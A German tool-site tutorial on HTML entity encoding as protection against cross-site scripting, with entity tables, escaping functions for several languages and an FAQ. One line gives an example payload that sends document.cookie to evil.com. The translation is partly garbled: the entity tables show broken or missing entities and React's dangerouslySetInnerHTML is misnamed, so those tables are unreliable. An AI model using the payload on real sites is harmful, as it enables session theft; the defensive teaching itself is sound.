ToolDolfen

HTML-Entitäten und Escaping: Wie richtige Kodierung XSS-Angriffe verhindert

Bilal Ahmad Aktualisiert am 2. Nov. 2026 3 Min. Lesezeit

Die HTML-Entitätskodierung wandelt Sonderzeichen (<, >, &, ", ') in sichere Darstellungen (< > & " ') um. Dies verhindert Cross-Site-Scripting-Angriffe (XSS) bei der Anzeige von Benutzereingaben auf Webseiten.

HTML entities encoding preventing XSS injection with special character conversion diagram

Was sind HTML-Entitäten?

Browser DOM parser execution difference between innerHTML and safe textContent

Core XML and HTML escape entities table showing less-than, greater-than, ampersand, and quotes

HTML-Entitäten sind Darstellungen von Zeichen, die im HTML-Markup eine besondere Bedeutung haben. Die fünf wichtigsten zu kodierenden Zeichen:

CharakterHTML-EntitätBenannte EntitätWarum Gefährlich
<<<Wird geöffnet HTML Tags
>>>Wird geschlossen HTML Tags
&& &Startet Entität Referenzen
"&qu ot;"Wird geschlossen Attribut Werte
'' 'Wird geschlossen Attributwerte

Gemeinsame Anzeigeeinheiten:

CharakterHTML EntitätBedeutung
©©Urheberrecht
®®Registriert Marke
™™Tr ademark
→→Richtig Pfeil
←←Links Pfeil
••Bu llet
–—Em dash
––En Bindestrich
  Geschützt Leerzeichen
€€Euro unterschreiben

Wie XSS-Angriffe funktionieren und wie die Codierung sie verhindert

Cross-Site Scripting XSS attack surface architecture showing reflected, stored, and DOM vectors

Cross-Site Scripting (XSS) ist eine der häufigsten Web-Schwachstellen. Es tritt auf, wenn von einem Angreifer kontrollierte Daten auf einer Webseite angezeigt werden, ohne ordnungsgemäß maskiert zu werden.

Beispiel für eine Sicherheitslücke: Auf einer Suchseite wird angezeigt: „Sie haben gesucht nach: [Benutzereingabe]“. Der Angreifer übermittelt: <script>document.location='https://evil.com/?cookies='+document.cookie</script> Ohne Verschlüsselung führt der Browser dieses Skript aus und stiehlt Sitzungscookies.

Mit korrekter HTML-Entitätskodierung: Der < wird zu < und > wird >. Der Browser zeigt den Rohtext an, anstatt ihn als Code auszuführen.

Warum das wichtig ist: Im Jahresbericht von OWASP wird XSS regelmäßig zu den zehn größten Web-Schwachstellen gezählt. Bei schwerwiegenden Verstößen wurde XSS ausgenutzt, um Sitzungstoken zu stehlen, Websites zu verunstalten und Benutzer auf bösartige Websites umzuleiten.

HTML-Entitäten auf ToolDolfen kodieren und dekodieren

Safe versus unsafe HTML code execution and rendering benchmark

ToolDolfen in-browser HTML entity encoder and decoder client-side workflow

Verwenden Sie das Tool HTML-Entitäten Encoder, um:

  1. HTML kodieren: Fügen Sie vom Benutzer übermittelte Inhalte, API-Antworten oder eine beliebige Zeichenfolge ein, die in einem HTML-Dokument angezeigt wird. Das Tool wandelt alle gefährlichen Zeichen in sichere Entitätsreferenzen um.
  1. Entitäten dekodieren: Entitätscodiertes HTML einfügen, um die Originalzeichen anzuzeigen – nützlich beim Debuggen von maskierten Inhalten in API-Antworten oder Template-Engines.

Im Code: Geeignete Backend-Frameworks bieten integrierte HTML-Codierungsfunktionen:

  • PHP: htmlspecialchars($text, ENT_QUOTES, 'UTF-8')
  • Python: html.escape(text)
  • Node.js: Verwenden Sie eine Bibliothek wie he oder Entitäten
  • .NET: HttpUtility.HtmlEncode(text)

Empfohlene Begleithandbücher

Entdecken Sie ergänzende Tutorials und Dienstprogramme aus diesem Themencluster, um Ihren digitalen Workflow zu verbessern:

CSV in JSON konvertieren: Typanalyse, verschachtelte Objekte und Header-HandhabungPraktische Schritt-für-Schritt-Anleitung mit verifizierten Standards und im Browser Workflows.Verschachteltes JSON in Flat CSV konvertieren: Umgang mit komplexen DatenstrukturenPraktische Schritt-für-Schritt-Anleitung mit verifizierten Standards und im Browser Workflows.Der moderne Favicon-Leitfaden: ICO-, PNG-, SVG- und Web-App-ManifestePraktische Schritt-für-Schritt-Anleitung mit verifizierten Standards und im Browser Workflows.OCR: Wie die optische Zeichenerkennung Text aus Bildern und PDFs extrahiertKomplementärer formatübergreifender Workflow, der verwandte Daten und Medien verbindet Werkzeuge.
Empfohlenes Dienstprogramm: HTML Entities EncoderFühren Sie diesen Workflow live in Ihrem Browser aus, ohne Server-Uploads und mit 100 % clientseitigem Datenschutz.
HTML-Entitäten Encoder
HTML-Entitäten Encoder

Häufig Gestellte Fragen (FAQ)

Finden Sie schnelle, verifizierte Antworten auf häufige Fragen zu diesem Arbeitsablauf.

Was ist die HTML-Entität für das Copyright-Symbol?

© oder © erzeugt das Urheberrechtssymbol ©. Sowohl die benannte Entität (©) als auch die numerische Entität (©) funktionieren in allen Browsern.

Ist die HTML-Entitätskodierung dasselbe wie die URL-Kodierung?

Nein. Bei der HTML-Entitätskodierung werden Zeichen zur sicheren Anzeige in HTML-Dokumenten konvertiert (< = <). Die URL-Kodierung (Prozentkodierung) konvertiert Zeichen zur sicheren Verwendung in URLs (%3C = <). Beide konvertieren dieselben Zeichen, verwenden jedoch unterschiedliche Notationen und unterschiedliche Kontexte.

Entkommen moderne JavaScript-Frameworks automatisch HTML?

Ja – React, Vue, Angular und Svelte umgehen alle standardmäßig HTML, wenn Textinhalte gerendert werden. Aus diesem Grund sind XSS-Angriffe auf moderne SPAs seltener. Durch die Verwendung von innerHTML, hazardlySetInnerHTML (React) oder v-html (Vue) wird dieser Schutz jedoch umgangen.

Bilal Ahmad